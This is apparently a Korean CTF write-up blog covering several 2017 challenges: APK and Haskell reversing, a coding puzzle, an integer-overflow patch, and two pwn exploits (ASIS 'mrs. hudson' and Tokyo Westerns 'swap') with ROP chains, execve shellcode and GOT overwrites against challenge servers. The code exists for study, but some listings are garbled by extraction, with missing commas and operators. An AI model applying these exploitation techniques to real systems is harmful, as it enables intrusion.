 그럼 이제 apk에서 봐야한다고 했던 2번째 부분을 보면 되는데 바로 CallMe이다. 코드는 아래 [그림 4]와 같다.



[그림 4] CallMe 코드

 이 코드를 보면 mmm 변수에 mm으로 받은 값을 집어넣고 하드코딩된 encrypted flag와 뭔가 

쿵짝쿵짝을 하는걸 알 수 있는데 키 값이 16자이므로 16자넘어가면 첨부터 key값 사용하는 루틴이 보이고

핵심 decrypt하는 루틴은 ck()함수에서 하는 것이라고 생각할 수 있다. ck()함수는 index를 첫 번째 인자로,

key값dmf 2번째 인자로, decrypted flag를 3번째 인자로 받고 호출된다. 그럼 이제 IDA로 ck()함수를 

분석하면 되는데 디컴파일된 결과는 아래 [그림 5]와 같다.



[그림 5] ck() 함수 디컴파일


 위 [그림 5]의 코드도 굉장히 간단한데 index값을 기준 삼아 case문으로 분기를 나누고 그냥 시프트 연산

xor연산으로 쿵짝쿵짝하고 리턴하는 간단한 함수이다. 따라서 이건 파이썬으로 똑같이 짜주면 decrypt가 

가능하다. 그렇게 나온 결과는 "[*] flag is : W@tching_7th_Sunse7_in_B@li" 이었다.


[Exploit Code] - rock_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
key = list("HD-C-O-N-2-0-1-7")
enc_flag = list("SBtbhfle_7tg]Runsj5]io_MBmi")
dec_flag = []
 
def ck(i, key, enc_flag):
    if(i%6 == 0):
        result = chr(((ord(key) & 0xfff0>> 4) ^ ord(enc_flag))
        return result
    elif(i%6 == 1):
        result = chr(((ord(key) & 0xffe0>> 5) ^ ord(enc_flag))
        return result
    elif(i%6 == 2):
        result = chr(((ord(key) & 0xff80>> 7) ^ ord(enc_flag))
        return result
    elif(i%6 == 3):
        result = chr(((ord(key) & 0xffc0>> 6) ^ ord(enc_flag))
        return result
    elif(i%6 == 4):
        result = chr(ord(enc_flag))
        return result
    elif(i%6 == 5):
        result = chr(ord(enc_flag) ^ 0xf)
        return result
    else:
        result = chr(67)
        return result
        
 
for i in xrange(len(enc_flag)):
    if(i<16):
        dec_flag.append(ck(i, key[i], enc_flag[i]))
    else:
        dec_flag.append(ck(i, key[i-16], enc_flag[i]))
 
print "[*] flag is : " + "".join(dec_flag)
 
cs


[Get Flag~~!!!!]


[그림 6] flag



끝~!





Posted by holinder4S
2017. 9. 13. 21:46

## ASIS CTF_2017(mrs. hudson, pwn)


[Summary]

1. rop를 이용해 scanf("%s",bss); 호출

=> pop_rdi, pop_rsi_r15 가젯 이용

=> 취약점이 터지는 함수가 scanf()여서 scanf_plt주소의 0x20부분이 null처리됨.

=> 따라서 got로 점프하는 주소 바로 다음 명령어 즉, got에 주소가 없을 경우 plt+0x6으로 다시 돌아오는데

그 주소를 이용.

=> 쉘코드 입력하고 exploit!


[Exploit Code]  - mrshudson_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
#import hexdump
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./mrs._hudson")
else:
    p = remote("178.62.249.106"8642)
 
binary = ELF("./mrs._hudson")
 
raw_input()
 
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
#shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
bss = 0x601040
 
pop_rdi = 0x4006f3
pop_rsi_r15 = 0x4006f1
scanf_plt_6 = 0x400526
 
aS = 0x40072b
 
if __name__ == '__main__':
    payload = "A"*0x70 + "ebppebpp"
    payload += p64(pop_rdi) + p64(aS)
    payload += p64(pop_rsi_r15) + p64(bss) + p64(bss)
    payload += p64(scanf_plt_6)
    payload += p64(bss)
 
    p.send(payload + '\n')
    p.send(shellcode + '\n')
    
    p.interactive()
cs


[Get Flag~~!!!!]


[그림 1] flag확인


끝~!



Posted by holinder4S
2017. 9. 13. 11:21

## Tokyo Westerns CTF_2017(swap, pwn)


[Summary]

1. memcpy <=> read : swap기능을 이용해 바꿔치면 memcpy()만 read로 변경된다.(arbitrary mem write 가능해짐)

2. oneshot gadget을 얻기 위해 libc leak을 해야한다.

=> setvbuf_got를 puts_plt로 덮어씌운다.

=> exit_got를 start의 주소로 덮어씌워 setvbuf를 실행시킨다.(결과적으로 puts(stderr))

=> stderr를 stdin의 주소로 바꾼다.(for puts(_IO_2__1_stdin's addr))

3. exit_got를 oneshot_gadget으로 덮어씌운다.


[Exploit Code]  - swap_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./swap")
else:
    p = remote("pwn1.chal.ctf.westerns.tokyo"19937)
 
binary = ELF("./swap")
 
raw_input()
 
puts_plt = 0x4006b0
memcpy_got = 0x601040
puts_got = 0x601018
read_got = 0x601028
exit_got = 0x601058
setvbuf_got = 0x601048
start_addr = 0x400760
stdin_addr = 0x601090
stderr_addr = 0x6010a0
 
def print_menu():
    p.recvuntil('Your choice:')
 
def set_addr(addr1, addr2):
    print_menu()
    p.send('1'+'\n')
    p.recvuntil('1st addr')
    p.send(str(addr1))
    p.recvuntil('2nd addr')
    p.send(str(addr2))
 
def swap():
    print_menu()
    p.send('2'+'\n')
 
if __name__ == "__main__":
    ## Stage 1 : arbitrary mem write(using memcpy_got <= read_got)
    set_addr(memcpy_got, read_got)
    swap()
 
    ## Stage 2 : leak libc addr
    ##    - setvbuf_got <= puts_plt
    ##    - exit_got <= start_addr (for trigger setvbuf(puts))
    ##    - stderr <= stdin (for puts(_IO_2_1_stdin's addr)
    ##      => result : libc stdin leak => libc base => one shot
    set_addr(0, setvbuf_got)
    swap()
    p.send(p64(puts_plt))
 
    set_addr(0, exit_got)
    swap()
    p.send(p64(start_addr))
    
    set_addr(0, stderr_addr)
    swap()
    p.send(p64(stdin_addr))
 
    p.send('0'+'\n')
    p.recvuntil('Bye.')
    p.recvline(); p.recvline(); p.recvline()
 
    ## leak & calc
    _IO_2_1_stdin_leak = u64(p.recv(6)+"\x00\x00")
    libc_base = _IO_2_1_stdin_leak - 0x3c48e0
    one_gadget = libc_base + 0xf0274#0x4526a
    print "[+] _IO_2_1_stdin addr : " + hex(_IO_2_1_stdin_leak)
    print "[+] libc base addr : " + hex(libc_base)
    print "[+] one shot gadget : " + hex(one_gadget)
 
    ## Stage 3 : exit <= oneshot_gadget
    set_addr(0, exit_got)
    swap()
    p.send(p64(one_gadget))
 
    ## Final : trigger
    p.send('0'+'\n')
    
    #print p.recv(1024)
    #puts_leak = p.recv(1024)[:6]+"\x00\x00"; 
    #print "[+] puts addr : " + hex(u64(puts_leak))
    
    
    p.interactive()
 
 
cs


[Get Flag~~!!!!]


[그림 1] flag 확인


끝~!

Posted by holinder4S
2017. 7. 23. 19:08

## Samsung CTF_2017(Easyhaskell, rev)


[Summary]

1. Custom Base 64를 이용한 문제이다.

2. 파일의 이름인 argv[0]을 input으로 Custom Base64 인코딩한 값을 출력하는 프로그램이다.

3. 2가지 풀이법이 존재한다.

=> 파일명 브루트포싱

=> Base 64 테이블을 알아내어 바로 디코딩(하지만 이것도 브루트포싱하였다.)


[Analysis] 


[그림 1] Easyhaskell 문제

 이 문제는 간단하게 요약하면 argv[0]을 인자 값으로 커스텀 Base64를 해 결과 값으로 출력하는 프로그램이다.

이 문제를 처음에는 IDA로 열어서 분석하려고 했으나 haskell이라 그런지 조금 분석하기 모호했다. 그래서 우선

처음 IDA로 분석했을 때는 이 프로그램은 프로그램 인자 값을 받아서 무언가를 한다는 것 정도만 확인하였다.


 이제 이 프로그램을 알기 위해서 실행을 해보았는데 인자 값(argv[1])을 주고 프로그램을 실행하든 안주고 실행하든

아래 [그림 2]와 같이 똑같은 결과를 리턴했다.



[그림 2] argv[1]의 영향


 뭔가 이상해서 argv[0], 즉 파일 이름을 변경하고 실행해보았더니 아래 [그림 3]과 같이 프로그램의 결과 값이 

다른 것을 확인할 수 잇었다.



[그림 3] argv[0](파일이름)의 영향


 위 [그림 3]의 결과를 보고 딱 base64가 떠올랐다. 그래서 base64 인코딩 형태가 맞는지 아래 [그림 4]와 같이 

몇 가지 실험을 했다. 먼저 "1"의 결과가 "CH55"가 나왔고, "11"의 결과는 "C)Q5", "111"의 결과는 "C)Q]", "1111"의

결과는 "C)Q]CH55"가 나왔다.



[그림 4] Base64의 특성을 확인하는 실험


 우선 위 [그림 14]의 결과를 보면 패딩 값이 "5"이고 3글자를 주기로 해시 값에 4글자씩 Output으로 나오는 

것을 확인할 수 있다. base64의 원리에 대해 간단하게 그림으로 설명한 블로그가 있다. 해당 블로그를 확인하고

따라오면 된다. 말로 설명하면 3글자 각 8비트 씩을 쭉 나열하여 6비트씩 쪼개어 4글자로 만드는데 각 6비트의 

값은 base64테이블의 index를 가리킨다. 이 때 base64의 테이블이 통상적으로 사용하는 것이 흔히 말하는 

base64 이고, 이 테이블을 사용자가 원하는대로 바꾼 것이 custom base64이다.


 참고 블로그 주소 : http://bbolmin.tistory.com/46


 이제 이 문제가 Custom Base64 라는 것을 눈치챘고 테이블을 알아내야 하는데 테이블의 경우 바이너리에 

하드코딩되어 있을 수도 있고 어떠한 알고리즘으로 만들어낼 수도 있지만 그렇게 문제를 해결하지 않았다.


 이 테이블을 직접 000000~111111 까지 64개의 테이블을 직접 만들었는데 만든 방식은 아래와 같다.


1) 앞의 6 * 3 비트는 아무 값으로 채운다. (Plain Text가 printable 하도록) => 마지막 비트는 1로 

   세팅해서 2번의 결과ㅏ가 printable 한 문자가 나오도록 조작한다.


2) 마지막 6bit 를 000000 부터 111111 까지 만들어 프로그램을 실행한 후 마지막 바이트를 확인후

   테이블에 추가한다.


3) 2번의 방법에서 printable 하지 않은 경우 3번째 6비트 값을 조작하여 2번과 비슷한 방법으로 

   알아낸다.


 위 과정을 통해 테이블을 구해보면 아래 [그림 5]와 같은 테이블을 얻을 수 있다.



[그림 5] 테이블 구하기


  이제 이렇게 구해진 테이블을 이용하여 base64 디코딩하는 루틴을 파이썬으로 작성해서 돌리면 문제에서

주어진 Flag - "=ze=/<fQCGSNVzfDnlk$&?N3oxQp)K/CVzpznK?NeYPx0sz5"가 아래 [그림 6]과

같이 복호화되어 나타나게 된다.


[Exploit Code] - easyhaskell_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
import os
#import hexdump
 
context(arch='amd64',os='linux')
local=True
#local=False
 
###################################################################################
 
def frombase64(s):
    #b64s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    b64s = "|yt2QGYA;u_RCeD0H/c)=NWVo&6nPk9$~dOKa?:<w81T!f3ip]Bxzl@sJjMrXS%#" 
    b64p = "5"
    ret = ""
    s2 = s.replace(b64p, "")
    left = 0
    for i in range(0len(s2)):
        if left == 0:
                left = 6
            else:
                    value1 = b64s.index(s2[i - 1]) & (** left - 1)
                    value2 = b64s.index(s2[i]) >> (left - 2)
                    value = (value1 << (- left)) | value2
                    ret += chr(value)
                    left -= 2
        return ret
 
################################################################################### 
bf = "abcdefghijklmnopqrstuvwxyzABCEDFGHIJKLMNOPQRSTUVWXYZ1234567890"
 
exec_file_path = "/home/holinder4s/Desktop/SCTF_2017/Reversing/EasyHaskell/"
 
result = []
for i in xrange(64):
    result.append('')
 
for i in xrange(64):
    offset = i | 0x40
    if offset > 0x20 and offset < 0x7f and offset != 0x60 and offset != 0x7c:
        target = "AA"+chr(offset)
        print target
    
        os.system("cp "+exec_file_path+"easyhaskell "+exec_file_path+target)
        p = process(exec_file_path+target)
        data = p.recv(1024)
        print data
        #data[-2:-1]
        print data[-3:-2]
        result[i] = data[-3:-2]
            
        os.system("rm "+exec_file_path+target) 
        p.close()
    elif offset == 0x7f:
        offset = i
        target = "AA?"
        os.system("cp "+exec_file_path+"easyhaskell "+exec_file_path+target)
        p = process(exec_file_path+target)
        data = p.recv(1024)
        print data
        result[0x3f= data[-3:-2]
 
        os.system("rm "+exec_file_path+target)
                p.close()
 
target = "Ah0"
os.system("cp "+exec_file_path+"easyhaskell "+exec_file_path+target)
= process(exec_file_path+target)
data = p.recv(1024)
print data
result[0x20= data[-4:-3]
os.system("rm "+exec_file_path+target)
p.close()
 
target = "A?0"
os.system("cp "+exec_file_path+"easyhaskell "+exec_file_path+target)
= process(exec_file_path+target)
data = p.recv(1024)
print data
result[0x3c= data[-4:-3]        
os.system("rm "+exec_file_path+target)
p.close()
 
 
print "[*] table generated~~!!"
print "   - \""+"".join(result)+"\""
 
print frombase64("=ze=/<fQCGSNVzfDnlk$&?N3oxQp)K/CVzpznK?NeYPx0sz5")
 
# ref1) http://bbolmin.tistory.com/46
# ref2) https://blog.affien.com/archives/2004/12/27/base64-encodingdecoding-algorithm/
 
cs



[Get Flag~~!!!!]


[그림 6] flag 확인




끝~!








Posted by holinder4S
2017. 7. 23. 18:42

## Samsung CTF_2017(Buildingblocks, Coding)


[Summary]

1. 어셈블리 블럭들의 조각을 던져줌.

2. 이 어셈블리 블럭들의 조각을 Segmentation Fault가 나지 않도록 순서만 맞춰주면 됨.

3. 각 블럭별로 eax레지스터가 비교값과, 연산을 끝낸 값을 구할 수 있음.

4. 구한 eax값과 다음 블럭의 비교값과 비교해 같으면 이어붙이면 됨.(이 조건일 때 seg fault가 안남.)


[Analysis] 


[그림 1] Buildingblocks 문제

 

 이 문제는 코딩을 해서 어셈블리 블럭을 완성시키면 플래그를 주는 문제였다. 위 문제서버로 접속하면 아래

[그림 2]와 같이 주어지는 Base64로 인코딩된 문자열들은 x64머신에서 돌아가는 코드이며 각각의 블럭들을

잘 이어붙여 실행했을 때 Segmentation Fault가 뜨지 않도록 하는 가장 긴 코드를 만든 후 바이트 코드를 

sha256 hexsum을 서버에 보내달라고 한다.(총 10개의 스테이지가 있다.)



[그림 2] 문제 서비스 분석


 그래서 위 base64로 인코딩된 문자열들을 하나하나 디코딩해 바이트 코드로 만든 후 pwntool 모듈을 이용해

어셈블리어로 변환하면 아래 [그림 3]과 같이 여러 개의 코드 뭉치로 나타난다.



[그림 3] 11개의 코드 뭉치 중 일부


 위 [그림 3]을 보면 여러 개의 코드 뭉치들 중 일부를 나타낸 것인데 11개의 코드 뭉치가 위 [그림 3]의 

아래와 같이 cmp문으로 시작하지 않고 eax에 값을 지정하는 유형의 코드뭉치 하나가 있고, 나머지는 전부

위 코드뭉치와 같은 유형이다.


 이제 이 코드뭉치들이 Segmentation Fault 가 나지 않도록 이어 붙이기 위해서는 cmp문 바로 아래 je로

절대로 점프해서는 안된다. 따라서 각각의 코드 뭉치들의 비교 값과 각각의 코드뭉치에서 최종적으로 나오는 

eax의 값을 비교하여 같은 것을 이어 붙여야 한다. 따라서 아래 [그림 4]와 같이 각 코드뭉치에 대해

[비교값, 최종 eax 값]만 나타내어 보면 아래 [그림 4]와 같다.



[그림 4] 코드뭉치 단순화


  위 리스트를 보고 eax값과 cmp 비교 값이 같은 것끼리 이어 붙이는데 앞서 설명한 cmp문으로 시작하지 

않는 유형은 무조건 코드뭉치의 제일 앞이므로 여기서부터 eax값과 비교문이 같은 0번째가 바로 뒤를 잇고

그 다음이 4번째... 이렇게 쭉 가면 [그림 4]의 아래에 나오는 리스트처럼 코드블럭의 순번을 알 수 있고

이를 바이트 코드로 이어붙여 sha256한 값을 서버에 보내는 과정을 stage10까지 반복하면 아래 [그림 5]와 

같이 플래그를 확인할 수 있다.


[Exploit Code] - buildingblocks_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
from pwn import *
from pwnlib import asm
import base64
import StringIO
#import hexdump
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./xxxx")
else:
    p = remote("buildingblocks.eatpwnnosleep.com"46115)
 
 
raw_input()
 
byte_code = ""
byte_code_tmp = []
 
disasm_str = []
disasm_str_tmp = []
 
def init_var():
    global byte_code, byte_code_tmp, disasm_str, disasm_str_tmp
    byte_code = ""
    byte_code_tmp = []
 
    disasm_str = []
    disasm_str_tmp = []
 
def calc_eax(disasm_str_offset):
    eax = 0; edx = 0
    for i in xrange(4len(disasm_str[disasm_str_offset])):
        #print disasm_str[disasm_str_offset][i]
        if disasm_str[disasm_str_offset][i].find("mov"!= -1:
            pos = disasm_str[disasm_str_offset][i].find(",")
            if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                eax = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffff
            elif disasm_str[disasm_str_offset][i].find("edx"!= -1:
                edx = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffff
            elif disasm_str[disasm_str_offset][i].find("rax"!= -1:
                eax = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffffffffffff
            else:
                edx = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffffffffffff
                
        elif disasm_str[disasm_str_offset][i].find("add"!= -1:
            pos = disasm_str[disasm_str_offset][i].find(",")
                        if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                                eax = (eax + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                        else:
                                edx = (edx + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
        elif disasm_str[disasm_str_offset][i].find("sub"!= -1:
                        pos = disasm_str[disasm_str_offset][i].find(",")
                        if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                                eax = (eax - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                        else:
                                edx = (edx - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
        elif disasm_str[disasm_str_offset][i].find("mul"!= -1:
            if disasm_str[disasm_str_offset][i].find("edx"!= -1:
                mul_eax_edx = eax*edx
                eax = mul_eax_edx & 0x00000000ffffffff
                edx = (mul_eax_edx & 0xffffffff00000000>> 32
            else:
                print "[+] to be implement"
 
    return eax
 
def first_calc_eax(disasm_str_offset):
    for i in xrange(len(disasm_str[disasm_str_offset])):
                #print disasm_str[disasm_str_offset][i]
                if disasm_str[disasm_str_offset][i].find("mov"!= -1:
                        pos = disasm_str[disasm_str_offset][i].find(",")
                        if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                                eax = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffff
                        elif disasm_str[disasm_str_offset][i].find("edx"!= -1:
                                edx = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffff
                        elif disasm_str[disasm_str_offset][i].find("rax"!= -1:
                                eax = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffffffffffff
                        else:
                                edx = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffffffffffff
 
                elif disasm_str[disasm_str_offset][i].find("add"!= -1:
                        pos = disasm_str[disasm_str_offset][i].find(",")
                        if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                                eax = (eax + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                        else:
                                edx = (edx + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                elif disasm_str[disasm_str_offset][i].find("sub"!= -1:
                        pos = disasm_str[disasm_str_offset][i].find(",")
                        if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                                eax = (eax - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                        else:
                                edx = (edx - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                elif disasm_str[disasm_str_offset][i].find("mul"!= -1:
                        if disasm_str[disasm_str_offset][i].find("edx"!= -1:
                                mul_eax_edx = eax*edx
                                eax = mul_eax_edx & 0x00000000ffffffff
                                edx = (mul_eax_edx & 0xffffffff00000000>> 32
                        else:
                                print "[+] to be implement"    
    return eax
 
if __name__ == '__main__':
    for stage in xrange(10):
        init_var()
    
        print p.recvuntil(')\n')
        data =  p.recvuntil(']'); print data
    
        pos = data.find("'")
        while pos != -1:
            pos = data.find("'")
            data = data[pos+1:]
            pos = data.find("'")
            tmp = data[:pos]; print "wjdebug : "+tmp
            byte_code_tmp.append(base64.b64decode(tmp))
            data = data[pos+1:]
        
        for i in xrange(len(byte_code_tmp)-1):
            print "##### wjdebug #####"
            disas_tmp = disasm(byte_code_tmp[i], arch='amd64', os='linux'); print disas_tmp
            print "###################"
            
            linenum = disas_tmp.count('\n')
            disasm_str_tmp = disas_tmp.split('\n',linenum)
            for j in xrange(len(disasm_str_tmp)):
                disasm_str_tmp[j] = disasm_str_tmp[j][32:]
            
            disasm_str.append(disasm_str_tmp)
        
        first_offset = -1; final_eax = 0
        for i in xrange(len(disasm_str)):
            if disasm_str[i][0].find("cmp"== -1:
                first_offset = i
            if disasm_str[i][len(disasm_str[i])-1].find("syscall"!= -1:
                pos = disasm_str[i][0].find(",")
                final_eax = int(disasm_str[i][0][pos+1:],16)
    
        simple_block = [];
        for i in xrange(len(disasm_str)):
            if disasm_str[i][0].find("cmp"== -1:
                simple_block_tmp = []
                simple_block_tmp.append(-1)
                simple_block_tmp.append(first_calc_eax(i))
                simple_block.append(simple_block_tmp)
            else:
                simple_block_tmp = []
                pos = disasm_str[i][0].find(",")
    
                simple_block_tmp.append(int(disasm_str[i][0][pos+1:],16))
                simple_block_tmp.append(calc_eax(i))
                simple_block.append(simple_block_tmp)
    
        for i in xrange(len(simple_block)):
            print "["+hex(simple_block[i][0])+","+hex(simple_block[i][1])+"]"
    
        block_order = [first_offset]
        cur_eax = simple_block[first_offset][1]
        while cur_eax != 0x3c:
            for i in xrange(len(simple_block)):
                cmp_eax = simple_block[i][0]
                if cur_eax == cmp_eax:
                    block_order.append(i)
                    cur_eax = simple_block[i][1]
                    break
        print block_order
    
        byte_code = ""
        for i in xrange(len(block_order)):
            byte_code += byte_code_tmp[block_order[i]]
        #print disasm(byte_code, arch='amd64', os='linux');
        
        sha256_answer = hashlib.sha256(byte_code).hexdigest()
        
        print p.recvuntil('(code bytes): ')
        p.send(sha256_answer+'\n')
    
    
    p.interactive()
 
# ref1) http://docs.pwntools.com/en/stable/asm.html
# ref2) https://stackoverflow.com/questions/7472839/python-readline-from-a-string
# ref3) https://dongyeopblog.wordpress.com/2016/06/24/python-%EB%AC%B8%EC%9E%90%EC%97%B4%EC%97%90%EC%84%9C-%ED%8A%B9%EC%A0%95%EB%AC%B8%EC%9E%90-%EC%B9%B4%EC%9A%B4%ED%8A%B8%ED%95%98%EB%8A%94%EB%B2%95/
# ref4) https://stackoverflow.com/questions/26538588/how-to-sha256-hash-a-variable-in-python
 
cs


[Get Flag~~!!!!]


[그림 5] flag 확인



끝~!






Posted by holinder4S
2017. 7. 23. 18:27

## Samsung CTF_2017(dfa, defense)


[Summary]

1. Integer overflow 취약점을 패치하는 문제

2. read에서 bof 취약점이 터지도록 유도하는 취약점을 패치하면 됨.


[Analysis] 


[그림 1] dfa 문제


 
 이 문제는 Defense 문제로 소스코드가 주어지고 거기에 있는 하나의 취약점을 찾아 패치를 한 후 서버에 보내면

되는 문제였다. dfa.zip파일을 다운로드 받으면 4개의 소스파일이 주어지는데 그 중 취약점이 존재하는 소스코드는

"auto.c"였다. 이 소스 코드 중 취약점이 존재하는 부분은 아래 [그림 2]와 같다.



[그림 2] "auto.c" 중 취약한 소스코드 일부


 위 [그림 2]의 if 문 내부에 namelen + 1 > 0x100에서 overflow가 발생하여 조건문을 우회할 수 있는 

integer overflow 취약점이 존재한다. 조금 자세히 풀어쓰자면 namelen에 0xffffffff라는 값이 들어갔다고

쳤을 경우 namelen + 1의 값은 0이 되고 0과 0x100과 비교했을 때 조건문을 우회할 수 있게 된다.


 이 때 아래 빨간 네모박스의 코드에서 read()함수를 실행하여 namelen(0xffffffff)만큼 linebuf 배열에 

사용자 입력을 받으면서 최종적으로 버퍼 오버플로우 취약점을 유발시키게 된다.


 따라서 위 취약점은 아래 [그림 3]과 같이 패치할 수 있다.



[그림 3] 취약한 소스코드 패치


  이렇게 취약한 소스코드를 패치한 후 해당 파일을 base64하여 서버에 전송하면 아래 [그림 4]와 같이

플래그를 확인할 수 있다. 소스코드를 base64로 인코딩하여 전송하는 스크립트는 아래와 같다.


[Exploit Code] - dfa_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
#import hexdump
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./card")
else:
    p = remote("dfa.eatpwnnosleep.com"9999)
 
#binary = ELF("./")
 
raw_input()
 
if __name__ == '__main__':
    print p.recv(1024)
    p.send('auto.c\n')
    print p.recv(1024)
    result = open("/home/holinder4s/Desktop/SCTF_2017/Defense/dfa/auto_wj.c""rb").read()
    result = base64.b64encode(result)
    p.send(result+'\n')
    print p.recv(1024)
    print p.recv(1024)
    print p.recv(1024)
    print p.recv(1024)
    print p.recv(1024)
    #p.interactive()
 
cs


[Get Flag~~!!!!]


[그림 4] flag 확인



끝~!






Posted by holinder4S